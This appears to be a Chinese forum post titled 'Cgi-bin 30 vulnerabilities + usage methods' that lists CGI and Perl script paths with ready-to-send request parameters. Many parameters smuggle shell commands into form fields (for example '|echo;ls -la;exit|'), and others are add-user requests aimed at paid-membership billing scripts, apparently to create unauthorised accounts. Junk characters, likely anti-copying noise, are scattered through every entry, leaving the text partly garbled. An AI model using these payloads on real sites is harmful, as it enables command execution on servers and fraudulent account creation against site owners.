Cgi-bin 30个漏洞＋使用方法

admin

==============================
, ~5 `6 V6 ^4 K7 V" L  |
  u, A( {. c/ g' @/smspass.pl
, c# R# E. J& g! f+ e0 Z& l4 Tusername=username&password=password

* m: R& H* b6 B4 [/index.cgi
: f! h6 h4 C( Y" ?7 L$ c% swei=ren&gen=command
8 \1 e- O5 L' n7 g- S
3 \: @4 j3 f1 d/passmaster.cgi
Action=Add&Username=Username&Password=Password
  y2 l2 o6 U  }* O
/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
2 f1 e* s% i9 k' Q' w0 [
/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
5 p9 K: I& y' G6 `
: `  l/ |- ]+ P/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
9 K% E2 u/ I" z7 Y6 euser=username&pass=Password&confirm=Password

/ccbill-local.asp
( k: c& r, I4 ?+ O9 ypost_values=username:password
0 ~' P1 `0 H9 Z: O
' K+ ]- G7 Q! W3 g1 }$ m/count.cgi
) A$ w, r5 e' b6 b- b( l& o6 h0 opinfile=|echo;ls -la;exit|
5 f( y' d1 {# Q
/recon.cgi
/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
( X5 j: b2 h. }
/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>

/af.cgi
_browser_out=|echo;ls -la;exit;|
5 R( g3 B5 r3 H" F9 w
! V2 `! w; @  c/modify.cgi
* F! Q7 r) Z' j2 Ousername=username&password=password&expire=30

/openjournal.cgi
! Y0 k5 \: S* ?1 y8 l# wedit=1&ct=2&go=|echo;ls -al;exit|

# ^& I6 B* S8 b* D/gx9passwd.cgi
( {/ B2 L1 d1 vcmd=ADD&user=username&pass=password

/probecontrol.cgi
command=enable&username=username&password=password
( F- J5 L, B- H1 v' z
0 N7 i& N( W5 l: f/recon.cgi
" _& I; u: j. o( i2 psearchoption=3&searchfor=echo;ls -la;exit
; ?* e7 ^, ^( {/ R
/htadd.pl
configfile=|echo; ls -alt; exit

) q- ^( c' B* @, p0 ]7 N5 v/gx9passwd.cgi
cmd=ADD&user=username&pass=password

" N7 \0 p$ I4 |/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password
1 U; V, O% t, \; S4 `- S) H
3 F' t3 z4 G! V/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)
5 |/ g1 o3 ?2 b+ H
* N( E' a+ i$ h+ Q9 _! }: R/globill_ut.cgi
2 H# j" m, p4 J2 `0 l  \do=add&username=username&password=password&wpassword=password
: h1 g; g1 q8 N  W+ E
/usercontrol.cgi
command=enable&username=USER&password=PASS

/globoSALErum.cgi
4 y5 i( R6 h) B0 Y/ M  i  {action=ADD&seccode=seccode&login=username&password=password

; k5 ~( h+ K; ]( c1 @+ o5 S/addusr.pl
8 w! x" r4 h  _, Ouser=USER&pass=PASS&confirm=PASS

) g% m. l- N) q/pincount.cgi
  a. L9 H8 }8 [; _  i7 K( y/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|
! O# C, q4 H6 S8 Y) k2 D
3 P7 G5 w- i+ R8 k+ m' q$ k/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
/ |0 c" n, c, t- {7 yusername=username&password=password&password2=password&ref1=|echo;ls -al;exit
0 e$ T% w- _% q) ?# A. p
/af.cgi
/env.cgi
, Y* A; }! G$ L' B$ D: T  `; GADD+;echo;pwd;exit
: u' S! Z( h6 \  }7 h
/count.cgi
pinfile=|echo;pwd;exit|
, b9 ^  P7 ?: W4 O" r, E; u
- r; B9 ?! |% C/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|

/add.cgi
  ^" D  D: _& e: ^( M2 pusername=username&password=password&expire=30

5 X5 ^% _8 z- K==============================
& t% X; j" h; D; {% r! @